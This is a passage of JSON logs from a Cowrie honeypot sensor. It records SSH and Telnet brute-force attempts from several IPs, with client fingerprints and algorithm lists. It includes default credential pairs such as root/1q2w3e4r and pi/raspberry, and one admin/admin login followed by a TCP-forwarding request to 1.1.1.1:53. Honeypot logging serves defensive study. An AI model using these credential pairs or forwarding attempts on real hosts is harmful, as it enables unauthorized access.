"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:40.198278Z","src_ip":"95.38.165.118","session":"2900f1ecf696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:41.781492Z","src_ip":"95.38.165.118","session":"2900f1ecf696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:43.051791Z","src_ip":"95.38.165.118","session":"2900f1ecf696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":56876,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b6b7e83ce4c","protocol":"ssh","message":"New connection: 95.38.165.118:56876 (10.17.0.5:22) [session: 2b6b7e83ce4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:45.074470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:45.079695Z","src_ip":"95.38.165.118","session":"2b6b7e83ce4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:45.250944Z","src_ip":"95.38.165.118","session":"2b6b7e83ce4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.183914Z","src_ip":"95.38.165.118","session":"2b6b7e83ce4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":47630,"dst_ip":"10.17.0.5","dst_port":22,"session":"78b55ebff2a4","protocol":"ssh","message":"New connection: 87.251.64.176:47630 (10.17.0.5:22) [session: 78b55ebff2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.494074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.502187Z","src_ip":"87.251.64.176","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.596664Z","src_ip":"87.251.64.176","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.882382Z","src_ip":"87.251.64.176","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:47.980200Z","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:48.076849Z","src_ip":"87.251.64.176","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:48.175544Z","src_ip":"87.251.64.176","session":"78b55ebff2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:48.769301Z","src_ip":"95.38.165.118","session":"2b6b7e83ce4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":54712,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c79739deae3","protocol":"telnet","message":"New connection: 178.128.93.180:54712 (10.17.0.5:23) [session: 5c79739deae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:49.165416Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37958,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab27196c1e23","protocol":"ssh","message":"New connection: 95.38.165.118:37958 (10.17.0.5:22) [session: ab27196c1e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:50.315088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:50.534358Z","src_ip":"95.38.165.118","session":"ab27196c1e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:50.544354Z","src_ip":"95.38.165.118","session":"ab27196c1e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:52.177216Z","src_ip":"95.38.165.118","session":"ab27196c1e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54928,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3795d6b680a","protocol":"telnet","message":"New connection: 69.4.83.194:54928 (159.203.135.109:23) [session: f3795d6b680a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:53.453790Z"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:54.176673Z","src_ip":"95.38.165.118","session":"ab27196c1e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37972,"dst_ip":"10.17.0.5","dst_port":22,"session":"edde57ecadc8","protocol":"ssh","message":"New connection: 95.38.165.118:37972 (10.17.0.5:22) [session: edde57ecadc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:55.476040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:55.524249Z","src_ip":"95.38.165.118","session":"edde57ecadc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:55.690544Z","src_ip":"95.38.165.118","session":"edde57ecadc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:56.256340Z","src_ip":"95.38.165.118","session":"edde57ecadc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:18:57.424981Z","src_ip":"95.38.165.118","session":"edde57ecadc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36162,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b1920effdc5","protocol":"ssh","message":"New connection: 95.38.165.118:36162 (10.17.0.5:22) [session: 0b1920effdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:00.650036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:00.660407Z","src_ip":"95.38.165.118","session":"0b1920effdc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:00.828270Z","src_ip":"95.38.165.118","session":"0b1920effdc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:01.374790Z","src_ip":"95.38.165.118","session":"0b1920effdc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:03.374658Z","src_ip":"95.38.165.118","session":"0b1920effdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60874,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ca6c5c77900","protocol":"telnet","message":"New connection: 69.4.83.194:60874 (159.203.135.109:23) [session: 6ca6c5c77900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:06.441302Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1637bc2f79b","protocol":"ssh","message":"New connection: 95.38.165.118:58936 (10.17.0.5:22) [session: d1637bc2f79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:06.521541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:06.527658Z","src_ip":"95.38.165.118","session":"d1637bc2f79b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:06.697621Z","src_ip":"95.38.165.118","session":"d1637bc2f79b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:07.217030Z","src_ip":"95.38.165.118","session":"d1637bc2f79b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:08.388407Z","src_ip":"95.38.165.118","session":"d1637bc2f79b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":50324,"dst_ip":"10.17.0.5","dst_port":22,"session":"d28266b6832f","protocol":"ssh","message":"New connection: 103.122.221.179:50324 (10.17.0.5:22) [session: d28266b6832f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:08.840916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:08.849766Z","src_ip":"103.122.221.179","session":"d28266b6832f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:09.099531Z","src_ip":"103.122.221.179","session":"d28266b6832f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11121314","message":"login attempt [root/11121314] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:09.849145Z","src_ip":"103.122.221.179","session":"d28266b6832f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:11.102168Z","src_ip":"103.122.221.179","session":"d28266b6832f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58940,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b403f993c7","protocol":"ssh","message":"New connection: 95.38.165.118:58940 (10.17.0.5:22) [session: f6b403f993c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:11.835705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:19:11.841035Z","src_ip":"95.38.165.118","session":"f6b403f993c7","protocol":"ssh"}
